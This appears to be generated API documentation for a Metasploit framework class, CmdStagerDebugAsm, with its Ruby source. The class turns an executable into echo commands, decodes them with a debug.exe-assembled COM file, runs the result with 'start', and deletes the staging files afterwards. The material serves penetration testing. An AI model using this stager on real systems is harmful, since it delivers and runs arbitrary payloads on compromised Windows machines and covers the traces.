Class: Rex::Exploitation::CmdStagerDebugAsm

Inherits:
CmdStagerBase show all
Defined in:
lib/rex/exploitation/cmdstager/debug_asm.rb

Overview

This class provides the ability to create a sequence of commands from an executable. When this sequence is ran via command injection or a shell, the resulting exe will be written to disk and executed.

This particular version uses debug.exe to assemble a small COM file. The COM will take a hex-ascii file, created via echo >>, and decode it to the final binary.

Requires: debug.exe

Written by Joshua J. Drake

Instance Method Summary collapse

Methods inherited from CmdStagerBase

#generate, #generate_cmds_payload, #setup, #slice_up_payload, #teardown

Constructor Details

#initialize(exe) ⇒ CmdStagerDebugAsm

Returns a new instance of CmdStagerDebugAsm.



26
27
28
29
30
31
32
33
34
 
# File 'lib/rex/exploitation/cmdstager/debug_asm.rb', line 26

def initialize(exe)
  super

  @var_decoder_asm  = Rex::Text.rand_text_alpha(8) + ".dat"
  @var_decoder_com  = Rex::Text.rand_text_alpha(8) + ".com"
  @var_payload_in   = Rex::Text.rand_text_alpha(8) + ".dat"
  @var_payload_out  = Rex::Text.rand_text_alpha(8) + ".exe"
  @decoder          = nil # filled in later
end

Instance Method Details

#cmd_concat_operator ⇒ Object

Windows uses & to concat strings



133
134
135
 
# File 'lib/rex/exploitation/cmdstager/debug_asm.rb', line 133

def cmd_concat_operator
  " & "
end

#compress_commands(cmds, opts) ⇒ Object

We override compress commands just to stick in a few extra commands last second..



106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
 
# File 'lib/rex/exploitation/cmdstager/debug_asm.rb', line 106

def compress_commands(cmds, opts)
  # Convert the debug script to an executable...
  cvt_cmd = ''
  if (@tempdir != '')
    cvt_cmd << "cd %TEMP% && "
  end
  cvt_cmd << "debug < #{@tempdir}#{@var_decoder_asm}"
  cmds << cvt_cmd

  # Convert the encoded payload...
  cmds << "#{@tempdir}#{@var_decoder_com}"

  # Make it all happen
  cmds << "start #{@tempdir}#{@var_payload_out}"

  # Clean up after unless requested not to..
  if (not opts[:nodelete])
    cmds << "del #{@tempdir}#{@var_decoder_asm}"
    cmds << "del #{@tempdir}#{@var_decoder_com}"
    cmds << "del #{@tempdir}#{@var_payload_in}"
    # XXX: We won't be able to delete the payload while it is running..
  end

  super
end

#encode_payload(opts) ⇒ Object

Simple hex encoding…



53
54
55
 
# File 'lib/rex/exploitation/cmdstager/debug_asm.rb', line 53

def encode_payload(opts)
  ret = @exe.unpack('H*')[0]
end

#generate_cmds(opts) ⇒ Object

Override just to set the extra byte count



40
41
42
43
44
45
46
47
 
# File 'lib/rex/exploitation/cmdstager/debug_asm.rb', line 40

def generate_cmds(opts)
  # Set the start/end of the commands here (vs initialize) so we have @tempdir
  @cmd_start = "echo "
  @cmd_end   = ">>#{@tempdir}#{@var_payload_in}"
  xtra_len = @cmd_start.length + @cmd_end.length + 1
  opts.merge!({ :extra => xtra_len })
  super
end

#generate_cmds_decoder(opts) ⇒ Object

Generate the commands that will decode the file we just created



80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
 
# File 'lib/rex/exploitation/cmdstager/debug_asm.rb', line 80

def generate_cmds_decoder(opts)

  # Allow decoder stub override (needs to input base64 and output bin)
  @decoder = opts[:decoder] if (opts[:decoder])

  # Read the decoder data file
  f = File.new(@decoder, "rb")
  decoder = f.read(f.stat.size)
  f.close

  # Replace variables
  decoder.gsub!(/decoder_stub/, "#{@tempdir}#{@var_decoder_asm}")
  decoder.gsub!(/h2b\.com/, "#{@tempdir}#{@var_decoder_com}")
  # NOTE: these two filenames MUST 8+3 chars long.
  decoder.gsub!(/testfile\.dat/, "#{@var_payload_in}")
  decoder.gsub!(/testfile\.out/, "#{@var_payload_out}")

  # Split it apart by the lines
  decoder.split("\n")
end

#parts_to_commands(parts, opts) ⇒ Object

Combine the parts of the encoded file with the stuff that goes before / after it.



62
63
64
65
66
67
68
69
70
71
72
73
74
 
# File 'lib/rex/exploitation/cmdstager/debug_asm.rb', line 62

def parts_to_commands(parts, opts)

  cmds = []
  parts.each do |p|
    cmd = ''
    cmd << @cmd_start
    cmd << p
    cmd << @cmd_end
    cmds << cmd
  end

  cmds
end